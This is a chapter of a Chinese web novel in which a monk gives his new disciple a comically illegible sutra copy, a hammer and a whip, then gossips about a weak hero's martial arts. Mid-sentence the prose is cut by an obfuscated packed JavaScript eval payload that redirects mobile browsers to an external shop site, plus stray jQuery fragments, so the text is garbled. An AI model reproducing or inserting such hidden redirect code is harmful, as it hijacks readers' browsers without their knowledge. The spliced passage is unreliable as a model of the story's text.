22. 第 22 章
    沉重的话题过后,李梵没坐多久起身离去,顺便还将青龙一块叫走了。

    沛儿帮忙收拾桌上的碗碟,尉迟嫣被觉缘叫去一边蹲着。他狗狗祟祟从怀里拿出一本秘籍,递到她面前。

    尉迟嫣伸手接过,看着上面用小篆书写的三个大字,依稀能认出是哪几个简体的原型。

    嚯,大手笔,金刚经!

    “师傅,这是见面礼?哎呀,太客气,太贵重……”

    翻开第一页,她就紧急静音,看着满页的狗爬字,嘴角的笑不上不下,最后只能僵硬地抽了抽。

    “师傅,这……有点客气过头了吧?”

    觉缘不觉有异,又从怀里拿出一把小巧,但看起来杀伤力有点强的铁锤。

    尉迟嫣看着那锤头冒着血气的森冷寒光,到嘴边的话又秃噜地打了个弯。

    “太辛苦您老人家了,还给我手抄了一份,太贵重了。”她睁眼瞎说话,“要是条件允许,我定要拓印一份收藏,以示我对此秘籍的珍重之情。”

    觉缘抛转着手里的小铁锤,听她说话,满脸茫然地抬头看她,疑惑道:“你说啥?”

    “师傅,您送我金刚经,真的有点贵重了。”尉迟嫣苦口婆心,言之凿凿,“嫣儿必定学透彻,不辜负您的苦心。”

    才怪。

    “什么金刚经?”觉缘眉毛一扬,凶相尽显,大声说:“那可是我派绝学,我怎么可能送给你!”

    “……”

    尉迟嫣拿着手里的册子,缓缓凑到他跟前,“人证物证俱在,师傅,俺是个老实人。俺一般不会说实话,除非现实太离谱。”

    “怎么可能,我……”他只需要低头看一眼,就鸦雀无声。

    半晌,他看着那本金刚经怀疑人生,道:“这是我刚刚给你的,你确定?”

    尉迟嫣当即力证自己的清白,向天发誓,“师傅,我对天发誓,这就是你刚刚递给我的。若是我有半句虚言,那阿巳今晚就不吃晚饭了。”

    觉缘蹙眉看她,见她心智坚定,好一会儿才幽幽道:“既然如此,那我就相信你吧。”

    嘶,我梯子都递到你脚下了,你还不走,就太不识趣了。

    幸好,你识时务者为俊杰。

    今夜,依旧是风平浪静的。

    转头,觉缘又将手里的铁锤递给尉迟嫣,这会儿她学聪明了,选择接过就直接问:“师傅,这又是干啥的?”

    觉缘低头又准备从怀里拿什么东西,头都懒得抬一下,闷声说:“那玩意儿给你防身用的。砸人也行,一锤一个刚刚好,力度合适不伤脑。你手劲儿小,正好也打不死人。没事的时候自己练练手感,算一算自己使多大的劲儿,不会把人锤伤。”

    嚯,原来是居家必备,防身专用。

    砸人也是,力度刚刚好,懵逼不伤脑。

    “可千万别把人锤伤,不然阿巳底裤都赔光了,也不够咱俩败的。”

    尉迟嫣不明所以,“啊?”

    “害,我刚来京都的时候,人生地不熟,经常拿这小锤子去敲些手脚不干净的登徒浪子。”他嘿嘿一笑,看起来还有些憨厚实诚,“因为不懂规矩,不明法令,就手劲儿使大将人敲伤了。那人就借机敲了阿巳一笔钱,被他告状告到他小舅舅那。他小舅舅又给寺里的主持告状,我都跑着这儿来了,也免不了被一顿说教。”

    尉迟嫣:“……”哈哈哈真是随心所欲哈,哈哈哈穷得那叫一个清新脱俗哈,哈哈哈在和尚堆里也算是独树一帜哈,哈哈哈就没见过你这样莽的。

    师傅,你莽村出来的吧?

    “其实我做的都是好事,就是面相看着不和善,不像个好人而已。”觉缘还为自己最后解释了一下,“就是这样的。十五都说我这么个秃驴,白瞎看起来那么凶神恶煞了。”

    尉迟嫣:“……”谢谢,再次被无语到。

    他翻吧翻吧,又从怀里拿出一卷小巧黢黑的鞭子,也是顺手递给了尉迟嫣,随意道:“喏,还有这个鞭子。”

    尉迟嫣看他又维持上了继续掏东西的动作,好奇地瞥一眼他怀里还有点鼓囊囊的样子,问道:“师傅,你那兜里是有什么取不尽的宝贝吗?怎么一下一个的,您还有很多吗?”

    觉缘没立即应声,只是象征着掏了两下,然后抬头去看尉迟嫣,摇摇头诚实地说:“没有了。”

    尉迟嫣:“……”

    这下,他就看着尉迟嫣手里拿着的东西,特别是那本写着金刚经三字的册子,好奇地伸手拿过。

    翻开的第一眼,他像是受到了什么致命的冲击,眼睛猛地一闭。

    俗称,两眼一黑。

    强忍着第一页狗爬字的攻击,他信心满满地翻开第二页,然后再次两眼一黑。

    当真是两眼一黑又一黑。

    尉迟嫣还以为这是大师阅览的必备动作,举着手里逐渐顺手的小锤子,两眼期待地看着他,问:“师傅,您这是太高兴了吗?”

    “你见过哪个人会高兴出我这样的表情?”

    尉迟嫣乐呵呵道:“我啊。”

    觉缘猛地一个大喘气,差点就憋不住自己心头的火气了。

    他咬牙道:“你和阿巳可真是天造地设的一对啊!”

    “一对王炸?”

    “一对狼狈为奸!”

    尉迟嫣脸一垮,“……”

    看到我手里的锤子了吗?

    师傅,劝你三思而后语。

    觉缘觑她一眼,果然三思一番,微微颔首,像是下定了某种决心,语重心长道:“我还是不能昧着良心说话。”

    “你和阿巳,真就是狼狈为奸啊。”

    “师傅……”尉迟嫣正欲说下去,让他改改措辞。

    觉缘赶紧跳过这个话题,“哎呀,看在为师给你带秘籍和见面礼的份上,就此打住。给为师,也当是给自己留几分薄面吧。”

    尉迟嫣噘嘴看他,显然是不想给几分薄面的意思。

    “你可真如十五所说一样,当真是个刺头!”觉缘痛心疾首,恨铁不成钢。

    尉迟嫣咧嘴一笑,“嘿嘿嘿,师傅真是太客气了。”

    “说说吧,刺头,想从为师这里打听什么消息?”觉缘边翻看那本写满了狗爬字的金刚经,边幽幽说:“趁着阿巳走了,我把我知道的,都告诉你。”

    “嘿嘿,我就知道师傅看懂了我的意思。”

    她又是嘿嘿一笑,憨厚道:“我听说,小舅舅身边有个叫做许十三的近侍,原先是从绣衣里出来的,但实际身份是母妃的近侍。那个叫任恒的,是二舅舅的近侍对吧?”

    “想知道阿巳他娘是不是还活着?”

    尉迟嫣忙不迭点头,看着觉缘两眼放光,示意他接着说。

    院门口的荆棘丛上的绿叶无风自动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025624|136066||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,片刻间,带动了冒出颜色的花苞。院里收拾的人,刚出门不久,脚步声渐远。

    觉缘扬了扬眉,眼神飘忽,避而不答,岔开话题,“这本金刚经是十五随手誊抄的,实在看不懂,就当孤本收藏。”

    “小舅舅誊抄送给我的?”尉迟嫣看他一眼,也察觉到有些不对,顺着他的意思说下去。

    觉缘摇摇头,“是送给我的。”

    尉迟嫣:“……”

    “他说我出门在外,得拿些有用的东西,比如我派绝学。”他急转直下,咧嘴一笑,“然,这份并不是。他誊抄了一份假的,而且手写的狗爬字,我是一个也看不懂。这样看着,他怕是嫌我死得不够快,特来助我一臂之力。阿巳对他的话,还深信不疑,每次我给他布置课业,他总是借口去看看十五,就遮遮掩掩躲了过去。以至于,他的功夫,现在还是个半吊子的水平。”

    “半吊子水平?”尉迟嫣对李梵的武功没个认知,好奇道:“大概是什么水平,打我这样的,能打几个?”

    “马马虎虎,就十个吧。”他侧头看了一眼,大概估摸着。

    “虽然拳脚功夫不行,但轻功……”

    尉迟嫣两眼放光,这个转折有戏,赶紧接话,“很不错!”

    “错!”觉缘毫不留情地反驳,“他轻功也很差。”

    尉迟嫣傻眼了。

    不是,谁家男主这么废的?

    想过可能废,但不至于这么废物吧!

    武功差就算了,连个主角光环都没有,炮灰算球!

    难怪在书里死得那么干脆,感情是个没有主角光环的炮灰啊!

    白瞎我打算帮他匡扶皇室的心,死了算球!

    “那青龙和他比,怎么样?”尉迟嫣还抱有最后一丁点幻想。

    既然是男主,总归要有点什么除了人品之外,别的长处吧?

    “较之青龙的话,他输得不算难看。”

    尉迟嫣一下又打起了精神,“师傅,此话怎么说?”

    “拳脚能有个五五开,但轻功就不行了。”觉缘惋惜,像是一颗漂亮的秃驴头离他远去般,痛心疾首说:“先前我教他,他说轻功学起来还行,就是办事的时候总有一种狗狗祟祟的感觉。他觉得不行,就不学了。真是浪费了个习武的好苗子,瞎搞!”

    尉迟嫣无语了,原以为是男主太废,没想到是新世纪的偷感极重。他突破不了自己的道德底线,所以放弃了这条路。

    然而,治理方面,居然也没见有所建树,确实是浪费了。

    “怕是不想别人说他,年纪轻轻,狗狗祟祟的像个江洋大盗。”

    觉缘对此又十分费解,“实在不理解他哪来这么多花花肠子,又是注重风度,又是满口胡言乱语的。”

    “有时候,我真的想扇他。”

    尉迟嫣猛地挥舞手里的小铁锤,朝地上的青石板砸去。

    砰地一声,铁锤之下的青石板四分五裂,可见威力之大。

    “下次,我替师傅锤他!”

    沛儿去而复返,她刚进门就看见正对着院门的屋顶上,快速飞过一个黑衣客。

    她登时抬手一指,还没脱口而出,那黑衣客就已经飞没影了。

    惊叹于轻功的绝妙,人还愣在院门口那,久久不动。觉缘看她轻啧一声,笑道:“嘿,人走了。”

    “是,青龙吗?”